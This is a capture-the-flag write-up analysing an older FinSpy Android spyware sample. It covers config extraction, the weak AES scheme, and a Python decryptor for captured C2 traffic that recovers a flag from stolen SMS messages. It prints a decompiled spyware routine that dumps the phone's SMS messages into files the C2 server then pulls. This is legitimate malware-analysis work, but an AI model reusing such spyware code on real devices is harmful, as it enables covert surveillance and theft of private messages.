The FinSpy is a well known spyware used by law enforcement in Germany and couple other countries. The malware was created back in 2012 and got newer revisions and support for multiple platforms. Since then the malware gained support for Windows, macOS, Linux, Android, and iOS. There may be more suitable spyware solutions in use today but the one I got here is the older version from 2012.
This was a reverse engineering from Platypwn CTF we (SecFault) took part in last weekend. It was one of more interesting challenges since it involved reverse engineering real malware. We got a pcap
file with some Android device traffic.
Analyzing the pcap
Captured traffic contains a lot of HTTPS and DNS traffic typical for modern Android devices. Aside from that we see 2 interesting things:
- apk file being downloaded via plain http
- some weird TCP packets at the end of the capture
Initial leads
Of course the first thing I did was to Google the apk
name seen in the HTTP stream. Surprisingly it yielded many results.
I also found this presentation about malware called FinSpy used by German authorities to spy on targetted Android devices. It’s also available on YouTube to watch.
The spying capabilities include intercepting phone calls, recording calls, reading and sending SMS messages, tracking GPS location, getting user files and much more…
Not really sure if the capabilities are still valid for modern platforms. Android has evolved over the years and limited such capabilities for untrusted applications. In HTTP headers we can gather the victim device is running Android 6.0 which is quite old now so it’s possible most features are still active in our version of malware.
Decompiling APK
I extracted the apk
file from pcap
and put it into jadx decompiler.
$ md5sum extractions/421and.apk
07251d7688054757a3fdc9b23ded24b7 extractions/421and.apk
Of course the obvious indicator of malicious activity is excessive permission the apk
file asks for.
Not sure what the app was disguised as (probably some mobile game based on the HTTP traffic before it was downloaded) but this number of permission should immediately raise some red flags.
Then I noticed was the assets/Configurations
directory containing a lot of empty files.
This is the method FinSpy uses to hide its configuration and it’s quite unique. Basically it stores the configuration in metadata stored by apk
file (apk
is basically a zip
archive). The app can then read its package and extract configuration to memory.
Nowadays there are some tools desined to extract configuration from malware apk
such as:
- FinSpy Tools by Marosi - scripts written in Python 2 from the authors of the presentation
- FinSpy Helper Scripts by SpiderLabs - written in Ruby
- FinSpy for Android by DefensiveLabAgency - Python 3 scripts based on the Ruby extractor
Fortunately, all of them worked and I was able to get the configuration.
$ python finspyCfgExtract.py 421and.apk
$ python finspyCfgParse.py 421and.apk.cfg
...
TlvTypeMobileTargetID = "421and" (14)
TlvTypeMobileTargetHeartbeatInterval = 120 (12)
TlvTypeMobileTargetPositioning = b'\x82\x87\x86\x81\x83' (13)
TlvTypeConfigTargetProxy = "ec2-3-127-136-144.eu-central-1.compute.amazonaws.com" (60)
TlvTypeConfigTargetPort = 8080 (12)
TlvTypeConfigSMSPhoneNumber = "+491234567890000000000000" (33)
TlvTypeConfigCallPhoneNumber = "+491234567890" (21)
TlvTypeMobileTrojanID = "421and" (14)
TlvTypeMobileTrojanUID = b'k\xd4$\x00' (12)
TlvTypeUserID = 1003 (12)
TlvTypeTrojanMaxInfections = 999 (12)
TlvTypeConfigMobileAutoRemovalDateTime = Thu Jan 1 01:00:00 1970 (12)
TlvTypeConfigAutoRemovalIfNoProxy = 168 (12)
TlvTypeMobileTargetHeartbeatEvents = 4269 (10)
TlvTypeMobileTargetHeartbeatRestrictions = b'\xc0\x00' (10)
TlvTypeInstalledModules = Logging: Off | Spy Call: On | Call Interception: On | SMS: On | Address Book: On | Tracking: On | Phone Logs: On | (140)
Decrypting traffic
I was quite surprised how poorly the malware implements the encryption. The presentation I linked above shows the encryption key could be brute-forced in about 30 hours back in 2014. Anyways, we don’t need to brute-force anything since we have the apk
file and the key is stored in malware configuration:
TlvTypeMobileTrojanUID = b'k\xd4$\x00'
The decryption process involves creating AES-256-CBC
instance with key
and iv
derieved from sha256
of hard-coded data bytes and slightly modified key value.
from Crypto.Cipher import AES
import hashlib
def decrypt_payload(payload: bytes, hkey: bytes) -> bytes:
m = hashlib.sha256()
# hard-coded key
m.update(b'\x01\x7f\x54\x1c\x4b\x1d\x39\x08\x55\x7e\x30\x5c\x7d\x23\x71\x13')
m.update(hkey)
aeskey = m.digest()
m = hashlib.sha256()
# hard-coded key for iv
m.update(b'\x02\x1f\x64\x3c\x1b\x6a\x0d\x7f\x59\x17\x03\x25\x77\x3a\x1e\x3b')
m.update(hkey)
aesiv = m.digest()[:16]
cipher = AES.new(aeskey, AES.MODE_CBC, aesiv)
pad = bytes(16-(len(payload)%16))
return cipher.decrypt(payload+pad)
# replace the key with TlvTypeMobileTrojanUID value
key = b'k\xd4$\x00'
hkey = key[::-1].hex().upper().encode('utf-8')
decrypt_payload(..., hkey)
Using the decrypt_payload
function I was then able to decrypt packets sent to and from the c2c server (ec2-3-127-136-144.eu-central-1.compute.amazonaws.com
).
Decrypting each of them by hand, I found some interesting ones. It looks like the c2c server was asking for some file within Android’s data partition:
\x9e\xa0"\x84\x0cP\x13\xfe\x10`W\xfe\xc6\xa4\xfdB\xd1E\x01z\x80r\x02/data/user/0/com.android.services/files/4201936473c5d6.rd\x02\x02
\x9e\xa0$\x84\x0cP\x13\xfe\x10`W\xfe\xc6\xa4\xfdB\xd1E\x01z\x80r\x02/data/user/0/com.android.services/files/4201936473c5d6.rd\x02\x02
\xa6\xa0&\x84\x0cP\x13\xfe\x10`W\xfe\xc6\xa4\xfdB\xd1E\x01z\x80r\x02/data/user/0/com.android.services/files/4201936473c5d6.rd\x08\x90~\x02\n\n\n\n\n\n\n\n\n\n
Initially the characters were separated by \x00
byte (probably UTF-16
encoding), I removed all \x00
to see them better.
Digging a bit deeper into the decompiled source code by searching for .rd
and 420
strings I found this function:
@Override // java.lang.Runnable
public void run() {
ByteBuffer[] endData;
ByteBuffer[] endData2;
if (GlobalAPP.LICENSE_FLAG != 0) {
synchronized (GlobalAPP.lockSms) {
int currentCounter = 0;
try {
Uri uriSms = Uri.parse("content://sms");
if (this.CHANGE_FLAG == 1) {
Thread.sleep(10000L);
}
Cursor c = getContext().getContentResolver().query(uriSms, null, null, null, "date ASC");
currentCounter = c.getCount();
if (c.moveToFirst()) {
Locale englishLocale = new Locale("en", "US");
SimpleDateFormat formatDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
SimpleDateFormat formatTimetext = new SimpleDateFormat("z", englishLocale);
int tmp1 = c.getColumnIndex("address");
int tmp4 = c.getColumnIndex("date");
int tmp2 = c.getColumnIndex("body");
int tmp3 = c.getColumnIndex("type");
if (GlobalAPP.SMS_FIRST == 0) {
...
} else if (GlobalAPP.SMS_COUNT > 0 && currentCounter > GlobalAPP.SMS_COUNT && this.CHANGE_FLAG == 1) {
String ex2 = String.valueOf(Long.toHexString(System.currentTimeMillis())) + Integer.toString(0);
File smsFile2 = new File(getContext().getFilesDir(), "tmp420" + ex2 + ".dat");
FileChannel fc2 = new FileOutputStream(smsFile2).getChannel();
for (int i = GlobalAPP.SMS_COUNT; i < currentCounter; i++) {
c.moveToPosition(i);
Date dl2 = new Date(Long.parseLong(c.getString(tmp4)));
String Datel2 = formatDate.format(dl2);
String ZoneTextl2 = formatTimetext.format(dl2);
if ("1".equalsIgnoreCase(c.getString(tmp3))) {
ByteBuffer[] endData4 = recordDataIncoming(c, tmp1, tmp2, Datel2, ZoneTextl2);
if (endData4 != null) {
fc2.write(endData4);
}
} else if ("2".equalsIgnoreCase(c.getString(tmp3)) && (endData = recordDataOut(c, tmp1, tmp2, Datel2, ZoneTextl2)) != null) {
fc2.write(endData);
}
}
fc2.close();
if (smsFile2.length() > 0) {
smsFile2.renameTo(new File(getContext().getFilesDir(), StatusConstants.Version + ex2 + ".rd"));
} else {
smsFile2.delete();
}
}
}
...
It seems to be dumping SMS messages into a file named
"tmp420" + hex(timestamp) + ".dat"
And then changing the extension to .rd
.
The c2c server then asks for that file and victim sends it encapsulated in TlvTypeMobileTargetRecordedFileDownloadChunk
packet.
This was the largest packet sent from the victim to c2c and looking at it I noticed a few encrypted packet types (905afe00
). The SMS messages are not visible in TlvTypeMobileTargetRecordedFileDownloadChunk
packet because their content is encrypted with one more layer (the same scheme and encryption key is used).
Knowing that I made a script that recursively decrypts captured FinSpy packets and extracts the strings found in them:
# pip install pypcapkit
from pcapkit import TCP, extract
from Crypto.Cipher import AES
import finspyCfgExtract
import finspyCfgParse
finspyCfgParse.pretty_print = False
from ipaddress import IPv4Address
from typing import List, Tuple, Optional
import hashlib
import struct
import sys
import os
FINSPY_PACKET_ENCRYPTION_HEADER = bytes.fromhex('905bfe00')
FINSPY_PACKET_TROJAN_UID = bytes.fromhex('40658400') # used to extract key from configuration
# finspy uses utf-16 (or other null separated text encoding)
# we'll try to decode such strings and check if they're made of ascii
def extract_strings(payload: bytes) -> List[str]:
ret = ''
for i in range(2):
try:
decoded = payload[i:].decode('utf-16le', errors='ignore')
except UnicodeDecodeError:
decoded = ""
current_word = ""
for c in decoded:
if ' ' <= c <= '~':
current_word += c
else:
if current_word:
yield current_word
current_word = ""
if current_word:
yield current_word
def decrypt_payload(payload: bytes, hkey: bytes) -> bytes:
m = hashlib.sha256()
# hard-coded key
m.update(b'\x01\x7f\x54\x1c\x4b\x1d\x39\x08\x55\x7e\x30\x5c\x7d\x23\x71\x13')
m.update(hkey)
aeskey = m.digest()
m = hashlib.sha256()
# hard-coded key for iv
m.update(b'\x02\x1f\x64\x3c\x1b\x6a\x0d\x7f\x59\x17\x03\x25\x77\x3a\x1e\x3b')
m.update(hkey)
aesiv = m.digest()[:16]
cipher = AES.new(aeskey, AES.MODE_CBC, aesiv)
pad = bytes(16-(len(payload)%16))
return cipher.decrypt(payload+pad)
def print_decrypted_packet(
pdata: bytes,
hkey: bytes,
level: int,
ipv4_src: Optional[Tuple[IPv4Address, int]] = None,
ipv4_dst: Optional[Tuple[IPv4Address, int]] = None
) -> None:
# early return if no finspy encryption detected in current packet
if not FINSPY_PACKET_ENCRYPTION_HEADER in pdata:
return
addr_src = port_src = None
addr_dst = port_dst = None
if ipv4_src and ipv4_dst:
addr_src, port_src = ipv4_src
addr_dst, port_dst = ipv4_dst
# add new line on first level
if level == 1:
print()
# skip if encryption header of finspy is not present
while (ehdr_pos := pdata.find(FINSPY_PACKET_ENCRYPTION_HEADER)) != -1:
# we have suspected finspy packet here
ehdr_pos += len(FINSPY_PACKET_ENCRYPTION_HEADER)
print("* "*level+f"Possibly finspy packet sent from {addr_src}:{port_src} to {addr_dst}:{port_dst}.")
print(" "*level+("Length" if level == 1 else "Remaining")+f": {len(pdata)} bytes.")
pdata = pdata[ehdr_pos:]
decrypted = decrypt_payload(pdata, hkey)
dptype = decrypted[4:8]
print(" "*level+"Packet type: {} ({})".format(
finspyCfgParse.tlv_types.get(struct.unpack('<I', dptype)[0], 'Unknown'),
dptype.hex()
))
#print(decrypted)
print(" "*level+"Found strings:", ' '.join(extract_strings(decrypted)))
# recursively decode since some packets use multi-layer encryption
print_decrypted_packet(decrypted, hkey, level+1, ipv4_src, ipv4_dst)
if len(sys.argv) != 3:
print("Usage: main.py [apk_path] [pcap_path]")
exit(1)
apk_path = sys.argv[1]
pcap_path = sys.argv[2]
with open(apk_path, "rb") as apk_file:
apk_data = apk_file.read()
cfg_data, _ = finspyCfgExtract.extract(apk_data)
if not cfg_data:
print("Could not extract configuration from apk file.")
exit(1)
cfg_parsed = finspyCfgParse.parse(cfg_data, 0)
print(cfg_data, cfg_parsed)
tuid_pos = cfg_data.find(FINSPY_PACKET_TROJAN_UID)
if tuid_pos == -1:
print("Could not extract encryption key form apk file.")
exit(1)
key = cfg_data[tuid_pos+4:tuid_pos+8]
# reverse and encode key to hex, it will later be hashed this way
hkey = key[::-1].hex().upper().encode('utf-8')
print(f"Found encryption key: {key} encoded as {hkey}")
extraction = extract(fin=pcap_path, store=False, nofile=True, reassembly=True, tcp=True)
for datagram in extraction.reassembly.tcp:
if datagram.packet is not None:
pdata = datagram.packet.data
print_decrypted_packet(pdata, hkey, 1, datagram.id.src, datagram.id.dst)
I’m using FinSpy for Android by DefensiveLabAgency to extract the config and recognize payload types so you’ll need to put their modules (
finspyCfgExtract.py
andfinspyCfgParse.py
) in the same directory.
When we run this script, it shows the packet types and readable strings in clear.
$ python main.py ./421and.apk ./lead.pcap
[*] found hidden data in CDS at offset 1db16: b'FQIAAJ'
[*] found hidden data in CDS at offset 1db68: b'Bb/gAN'
[*] found hidden data in CDS at offset 1dbb6: b'AgAAoD'
...
[d] read 714 bytes of base64 encoded hidden data: FQIAAJBb/gANAgAAoDOEAAwAAABQE/4AAAAAABAAAABgV/4AAAAAAAAAAAAMAAAAQBX+AAAAAAAOAAAAcFj+ADQyMWFuZAwAAABAYYQAeAAAAA0AAACQZIQAgoeGgYM8AAAAcDeAAGVjMi0zLTEyNy0xMzYtMTQ0LmV1LWNlbnRyYWwtMS5jb21wdXRlLmFtYXpvbmF3cy5jb20MAAAAQDiAAJAfAAAhAAAAcGOEACs0OTEyMzQ1Njc4OTAwMDAwMDAwMDAwMDAVAAAAcGqEACs0OTEyMzQ1Njc4OTAOAAAAcGaEADQyMWFuZAwAAABAZYQAa9QkAAwAAABAIf4A6wMAAAwAAABADYAA5wMAAAwAAABAaIQAAAAAAAwAAABAO4AAqAAAAAoAAACQYIQArRAKAAAAkGKEAMAACQAAALBnhAAACAAAAJDGcQCMAAAAkHmEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAAEBAAEAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD0AAACQNEUANQAAAKAzRQAMAAAAQEFFAOgDAAAMAAAAQEBFACwBAAAJAAAAMEJFAAAMAAAAkGSEAIeGhYE=
TlvTypeMobileEncryption = b'\r\x02\x00\x00\xa03\x84\x00\x0c\x00\x00\x00P\x13\xfe\x00\x00\x00\x00\x00\x10\x00\x00\x00`W\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00@\x15\xfe\x00\x00\x00\x00\x00\x0e\x00\x00\x00pX\xfe\x00421and\x0c\x00\x00\x00@a\x84\x00x\x00\x00\x00\r\x00\x00\x00\x90d\x84\x00\x82\x87\x86\x81\x83<\x00\x00\x00p7\x80\x00ec2-3-127-136-144.eu-central-1.compute.amazonaws.com\x0c\x00\x00\x00@8\x80\x00\x90\x1f\x00\x00!\x00\x00\x00pc\x84\x00+491234567890000000000000\x15\x00\x00\x00pj\x84\x00+491234567890\x0e\x00\x00\x00pf\x84\x00421and\x0c\x00\x00\x00@e\x84\x00k\xd4$\x00\x0c\x00\x00\x00@!\xfe\x00\xeb\x03\x00\x00\x0c\x00\x00\x00@\r\x80\x00\xe7\x03\x00\x00\x0c\x00\x00\x00@h\x84\x00\x00\x00\x00\x00\x0c\x00\x00\x00@;\x80\x00\xa8\x00\x00\x00\n\x00\x00\x00\x90`\x84\x00\xad\x10\n\x00\x00\x00\x90b\x84\x00\xc0\x00\t\x00\x00\x00\xb0g\x84\x00\x00\x08\x00\x00\x00\x90\xc6q\x00\x8c\x00\x00\x00\x90y\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x01\x00\x01\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x00\x00\x00\x904E\x005\x00\x00\x00\xa03E\x00\x0c\x00\x00\x00@AE\x00\xe8\x03\x00\x00\x0c\x00\x00\x00@@E\x00,\x01\x00\x00\t\x00\x00\x000BE\x00\x00\x0c\x00\x00\x00\x90d\x84\x00\x87\x86\x85\x81' (533)
TlvTypeMobileTargetOfflineConfig = b'\x0c\x00\x00\x00P\x13\xfe\x00\x00\x00\x00\x00\x10\x00\x00\x00`W\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00@\x15\xfe\x00\x00\x00\x00\x00\x0e\x00\x00\x00pX\xfe\x00421and\x0c\x00\x00\x00@a\x84\x00x\x00\x00\x00\r\x00\x00\x00\x90d\x84\x00\x82\x87\x86\x81\x83<\x00\x00\x00p7\x80\x00ec2-3-127-136-144.eu-central-1.compute.amazonaws.com\x0c\x00\x00\x00@8\x80\x00\x90\x1f\x00\x00!\x00\x00\x00pc\x84\x00+491234567890000000000000\x15\x00\x00\x00pj\x84\x00+491234567890\x0e\x00\x00\x00pf\x84\x00421and\x0c\x00\x00\x00@e\x84\x00k\xd4$\x00\x0c\x00\x00\x00@!\xfe\x00\xeb\x03\x00\x00\x0c\x00\x00\x00@\r\x80\x00\xe7\x03\x00\x00\x0c\x00\x00\x00@h\x84\x00\x00\x00\x00\x00\x0c\x00\x00\x00@;\x80\x00\xa8\x00\x00\x00\n\x00\x00\x00\x90`\x84\x00\xad\x10\n\x00\x00\x00\x90b\x84\x00\xc0\x00\t\x00\x00\x00\xb0g\x84\x00\x00\x08\x00\x00\x00\x90\xc6q\x00\x8c\x00\x00\x00\x90y\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x01\x00\x01\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x00\x00\x00\x904E\x005\x00\x00\x00\xa03E\x00\x0c\x00\x00\x00@AE\x00\xe8\x03\x00\x00\x0c\x00\x00\x00@@E\x00,\x01\x00\x00\t\x00\x00\x000BE\x00\x00\x0c\x00\x00\x00\x90d\x84\x00\x87\x86\x85\x81' (525)
TlvTypeMobileTargetID = "421and" (14)
TlvTypeMobileTargetHeartbeatInterval = 120 (12)
TlvTypeMobileTargetPositioning = b'\x82\x87\x86\x81\x83' (13)
TlvTypeConfigTargetProxy = "ec2-3-127-136-144.eu-central-1.compute.amazonaws.com" (60)
TlvTypeConfigTargetPort = 8080 (12)
TlvTypeConfigSMSPhoneNumber = "+491234567890000000000000" (33)
TlvTypeConfigCallPhoneNumber = "+491234567890" (21)
TlvTypeMobileTrojanID = "421and" (14)
TlvTypeMobileTrojanUID = b'k\xd4$\x00' (12)
TlvTypeUserID = 1003 (12)
TlvTypeTrojanMaxInfections = 999 (12)
TlvTypeConfigMobileAutoRemovalDateTime = Thu Jan 1 01:00:00 1970 (12)
TlvTypeConfigAutoRemovalIfNoProxy = 168 (12)
TlvTypeMobileTargetHeartbeatEvents = 4269 (10)
TlvTypeMobileTargetHeartbeatRestrictions = b'\xc0\x00' (10)
TlvTypeInstalledModules = Logging: Off | Spy Call: On | Call Interception: On | SMS: On | Address Book: On | Tracking: On | Phone Logs: On | (140)
TlvTypeMobileTrackingConfigRaw = b'5\x00\x00\x00\xa03E\x00\x0c\x00\x00\x00@AE\x00\xe8\x03\x00\x00\x0c\x00\x00\x00@@E\x00,\x01\x00\x00' (61)
TlvTypeMobileTrackingConfig = b'\x0c\x00\x00\x00@AE\x00\xe8\x03\x00\x00\x0c\x00\x00\x00@@E\x00,\x01\x00\x00' (53)
TlvTypeMobileTrackingDistance = 1000 (12)
TlvTypeMobileTrackingTimeInterval = 300 (12)
b'\x15\x02\x00\x00\x90[\xfe\x00\r\x02\x00\x00\xa03\x84\x00\x0c\x00\x00\x00P\x13\xfe\x00\x00\x00\x00\x00\x10\x00\x00\x00`W\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00@\x15\xfe\x00\x00\x00\x00\x00\x0e\x00\x00\x00pX\xfe\x00421and\x0c\x00\x00\x00@a\x84\x00x\x00\x00\x00\r\x00\x00\x00\x90d\x84\x00\x82\x87\x86\x81\x83<\x00\x00\x00p7\x80\x00ec2-3-127-136-144.eu-central-1.compute.amazonaws.com\x0c\x00\x00\x00@8\x80\x00\x90\x1f\x00\x00!\x00\x00\x00pc\x84\x00+491234567890000000000000\x15\x00\x00\x00pj\x84\x00+491234567890\x0e\x00\x00\x00pf\x84\x00421and\x0c\x00\x00\x00@e\x84\x00k\xd4$\x00\x0c\x00\x00\x00@!\xfe\x00\xeb\x03\x00\x00\x0c\x00\x00\x00@\r\x80\x00\xe7\x03\x00\x00\x0c\x00\x00\x00@h\x84\x00\x00\x00\x00\x00\x0c\x00\x00\x00@;\x80\x00\xa8\x00\x00\x00\n\x00\x00\x00\x90`\x84\x00\xad\x10\n\x00\x00\x00\x90b\x84\x00\xc0\x00\t\x00\x00\x00\xb0g\x84\x00\x00\x08\x00\x00\x00\x90\xc6q\x00\x8c\x00\x00\x00\x90y\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x01\x01\x00\x01\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x00\x00\x00\x904E\x005\x00\x00\x00\xa03E\x00\x0c\x00\x00\x00@AE\x00\xe8\x03\x00\x00\x0c\x00\x00\x00@@E\x00,\x01\x00\x00\t\x00\x00\x000BE\x00\x00\x0c\x00\x00\x00\x90d\x84\x00\x87\x86\x85\x81' None
Found encryption key: b'k\xd4$\x00' encoded as b'0024D46B'
* Possibly finspy packet sent from 10.0.2.15:55937 to 3.127.136.144:8080.
Length: 136 bytes.
Packet type: TlvTypeMobileTargetHeartBeatV10 (70028400)
Found strings: D
* Possibly finspy packet sent from 3.127.136.144:8080 to 10.0.2.15:55937.
Length: 88 bytes.
Packet type: TlvTypeMobileCompression (905afe00)
Found strings: 0 (
* Possibly finspy packet sent from 10.0.2.15:55938 to 3.127.136.144:8080.
Length: 136 bytes.
Packet type: TlvTypeMobileTargetHeartBeatV10 (70028400)
Found strings: D
* Possibly finspy packet sent from 10.0.2.15:55938 to 3.127.136.144:8080.
Length: 200 bytes.
Packet type: TlvTypeMobileTargetRecordedFilesReply (a0228400)
Found strings: z /data/user/0/com.android.services/files/4201936473c5d6.rd
* Possibly finspy packet sent from 10.0.2.15:55938 to 3.127.136.144:8080.
Length: 1336 bytes.
Packet type: TlvTypeMobileTargetRecordedFileDownloadReply (a0248400)
Found strings: z /data/user/0/com.android.services/files/4201936473c5d6.rd z /data/user/0/com.android.services/files/4201936473c5d6.rd s
* Possibly finspy packet sent from 10.0.2.15:55938 to 3.127.136.144:8080.
Length: 1296 bytes.
Packet type: TlvTypeMobileTargetRecordedFileDownloadChunk (a0258400)
Found strings: z /data/user/0/com.android.services/files/4201936473c5d6.rd X
* * Possibly finspy packet sent from 10.0.2.15:55938 to 3.127.136.144:8080.
Remaining: 1104 bytes.
Packet type: TlvTypeMobileSMSMetaInfo (a0014200)
Found strings: B $ GMT+00:00. 2024-11-25 17:48:50 B B B B $ GMT+00:00. 2024-11-25 17:49:58 B B B B [ [ P b
* * Possibly finspy packet sent from 10.0.2.15:55938 to 3.127.136.144:8080.
Remaining: 922 bytes.
Packet type: TlvTypeMobileSMSData (80024200)
Found strings: H BAndroid is always a sweet treat! h3_m1ll10n_d0ll4r_d1551d3n7_35726418552495::pNp1wTEWeVop}
* * Possibly finspy packet sent from 10.0.2.15:55938 to 3.127.136.144:8080.
Remaining: 690 bytes.
Packet type: TlvTypeMobileSMSMetaInfo (a0014200)
Found strings: B $ GMT+00:00. 2024-11-25 17:49:58 B B B B [ P b
* * Possibly finspy packet sent from 10.0.2.15:55938 to 3.127.136.144:8080.
Remaining: 602 bytes.
Packet type: TlvTypeMobileSMSData (80024200)
Found strings: BPP{7h3_m1ll10n_d0ll4r_d1551d3n7_35726418552495::pNp1wTEWeVop}
* Possibly finspy packet sent from 10.0.2.15:55938 to 3.127.136.144:8080.
Length: 1096 bytes.
Packet type: TlvTypeMobileTargetRecordedFileDownloadCompleted (a0268400)
Found strings: z /data/user/0/com.android.services/files/4201936473c5d6.rd
* Possibly finspy packet sent from 3.127.136.144:8080 to 10.0.2.15:55938.
Length: 144 bytes.
Packet type: TlvTypeMobileCompression (905afe00)
Found strings: 0 (
* Possibly finspy packet sent from 3.127.136.144:8080 to 10.0.2.15:55938.
Length: 120 bytes.
Packet type: TlvTypeMobileCompression (905afe00)
Found strings:
* Possibly finspy packet sent from 3.127.136.144:8080 to 10.0.2.15:55938.
Length: 168 bytes.
Packet type: TlvTypeMobileCompression (905afe00)
Found strings: z /data/user/0/com.android.services/files/4201936473c5d6.rd
* Possibly finspy packet sent from 10.0.2.15:55939 to 3.127.136.144:8080.
Length: 136 bytes.
Packet type: TlvTypeMobileTargetHeartBeatV10 (70028400)
Found strings: D
* Possibly finspy packet sent from 3.127.136.144:8080 to 10.0.2.15:55939.
Length: 88 bytes.
Packet type: TlvTypeMobileCompression (905afe00)
Found strings: 0 (
* Possibly finspy packet sent from 10.0.2.15:55940 to 3.127.136.144:8080.
Length: 136 bytes.
Packet type: TlvTypeMobileTargetHeartBeatV10 (70028400)
Found strings: D
* Possibly finspy packet sent from 3.127.136.144:8080 to 10.0.2.15:55940.
Length: 88 bytes.
Packet type: TlvTypeMobileCompression (905afe00)
Found strings: 0 (
* Possibly finspy packet sent from 10.0.2.15:55942 to 3.127.136.144:8080.
Length: 136 bytes.
Packet type: TlvTypeMobileTargetHeartBeatV10 (70028400)
Found strings: D
* Possibly finspy packet sent from 3.127.136.144:8080 to 10.0.2.15:55942.
Length: 88 bytes.
Packet type: TlvTypeMobileCompression (905afe00)
Found strings: 0 (
The flag hidden within SMS messages was PP{7h3_m1ll10n_d0ll4r_d1551d3n7_35726418552495::pNp1wTEWeVop}
.
Very nice challenge overall :)